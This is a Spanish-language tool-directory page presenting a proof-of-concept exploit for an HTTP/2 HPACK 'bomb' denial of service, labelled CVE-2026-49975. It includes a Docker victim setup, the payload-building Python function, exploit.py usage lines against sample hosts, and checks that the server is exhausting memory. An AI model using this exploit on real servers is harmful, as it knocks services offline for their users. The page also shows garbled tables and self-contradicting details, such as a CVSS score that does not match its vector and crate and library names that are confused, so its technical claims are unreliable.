Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-49975-http2bomb_reproduction — Exploit PoC para la vulnerabilidad DoS HTTP/2 Bomb CVE-2026-49975. Demuestra la bomba de referencia indexada HPACK combinada con la parada de la ventana de control de flujo para agotar la memoria del servidor mediante una sola conexión. | Kitploit
Herramientas/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
Análisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad de RedesPapers e InvestigaciónAprendizaje y Educación
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

Exploit PoC para la vulnerabilidad DoS HTTP/2 Bomb CVE-2026-49975. Demuestra la bomba de referencia indexada HPACK combinada con la parada de la ventana de control de flujo para agotar la memoria del servidor mediante una sola conexión.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
11hace 1 mesAún no revisado

CVE-2026-49975 (Bomba HTTP/2) Guía completa de reproducción

Basado en el aviso de QiAnXin CERT + investigación original de Calif

================================================================

I. Resumen de la vulnerabilidad

CVE-2026-49975 es una vulnerabilidad crítica de denegación de servicio (DoS) en implementaciones de servidores y proxies HTTP/2. El ataque, denominado «Bomba HTTP/2» o «Bomba HPACK», explota dos comportamientos a nivel de diseño en el protocolo HTTP/2 para forzar a un objetivo a un consumo ilimitado de memoria (OOM) y a un agotamiento de CPU:

  1. Explosión de referencias indexadas HPACK – una pequeña trama HEADERS que referencia lógicamente la misma entrada de cookie miles de veces mediante referencias indexadas HPACK. Al decodificar, el decodificador HPACK del par puede asignar memoria proporcional al número de referencias, no al tamaño en la red.
  2. Bloqueo de la ventana de control de flujo – combinado con una ventana inicial de cero, el emisor pone en cola datos HEADERS, pero el receptor se niega a leerlos hasta que llegan las actualizaciones de ventana; los búferes se llenan y la presión sobre la memoria aumenta.

Puntuación base CVSS 3.1: 9.8 (Crítica)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Principio del ataque (combinación de dos etapas)

El ataque es más efectivo cuando las dos etapas se complementan entre sí, pero cada etapa por sí sola es suficiente contra algunas implementaciones.

Etapa 1: Bomba de referencias indexadas HPACK

La compresión de cabeceras HPACK de HTTP/2 utiliza una tabla dinámica en evolución. Una vez que una cabecera de cookie grande se inserta en la tabla (mediante codificación literal+incremental), un atacante puede referenciar esa entrada con un opcode de 1 byte. Las referencias repetidas hacen que el decodificador reconstruya la misma cabecera una y otra vez.

root@kitploit:~
Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Un paquete de 5 KB puede expandirse a cientos de megabytes de carga útil decodificada.

Etapa 2: Bloqueo de ventana HTTP/2

Un SETTINGS con INITIAL_WINDOW_SIZE=0 obliga a la víctima a poner en cola todos los datos HEADERS/continuación. El atacante filtra lentamente las tramas WINDOW_UPDATE. Los búferes permanecen combinatoriamente llenos.

Mecanismofactor de amplificación
cuerpo HEADERS bruto1x
explosión de ref. HPACK20–80x
+ flujos concurrentes100–500x
+ bloqueo de ventana1000x+

III. Servidores afectados

Consulte la entrada CVE de su proveedor para conocer los límites exactos.

IV. Configuración del entorno

root@kitploit:~
# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Víctima rápida con Docker:

root@kitploit:~
docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Código del exploit

El script complementario es exploit.py.

La rutina principal:

root@kitploit:~
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

El script realiza:

  • Conexión TLS a host:puerto
  • Prefacio PRI HTTP/2 + SETTINGS con ventana=0
  • envía la bomba HPACK como HEADERS
  • opcionalmente envía una filtración lenta de WINDOW_UPDATE
  • mide la degradación del RTT mediante tramas PING

VI. Uso

root@kitploit:~
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Verificar la efectividad del ataque

Monitoree los recursos de la víctima:

root@kitploit:~
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Señales de que el ataque está funcionando:

  • el RSS de la víctima crece >500 MB
  • la CPU salta al 100%
  • las latencias de PING superan 1 segundo
  • las conexiones agotan el tiempo de espera

VIII. Mitigación

EnfoqueAjuste
Limitar cabeceras por flujo

IX. Descargo de responsabilidad

Esta información es únicamente para pruebas de seguridad educativas y autorizadas. Ejecútelo solo contra sistemas que posea o para los que tenga permiso por escrito de probar.

Referencias

  • CVE-2026-49975 en Mitre
  • Aviso de QiAnXin CERT (boletín original en mandarín / inglés)
  • Calif, A. La bomba HTTP/2: OOM indexado por HPAK. Black Hat 2025
  • RFC 7541, RFC 9113
Descargar herramienta
Vendor / ProjectVersiondescripción
Apache mod_http2< 2.0.13OOM por explosión de ref. indexadas
nghttp2< 1.62.0inflado de memoria ilimitado
h2o< 4.0.2bucle infinito en el decodificador
Node.js http2 crate< 1.12.0expansión intrínseca en nghttp2-rs
Go net/http (h2)< 1.24bloqueo de goroutine + asignación OSL
Apache Traffic Server< 9.3.0OOM a través del búfer interno
HAProxy h2< 2.9caída en AVP de gran tamaño
Envoy< 1.30asignación masiva en el control de flujo
Rust hyper/h2 crate< 5.14panic por desbordamiento SK
MaxHeaderCount 500
Rechazar baja compresiónumbral de ratio < 5
Acotar el crecimiento de HPACKlimitar la tabla dinámica a 1 KB
Memoria por conexiónrechazar después de N MB
limitación de velocidadconn/s, req/s genéricos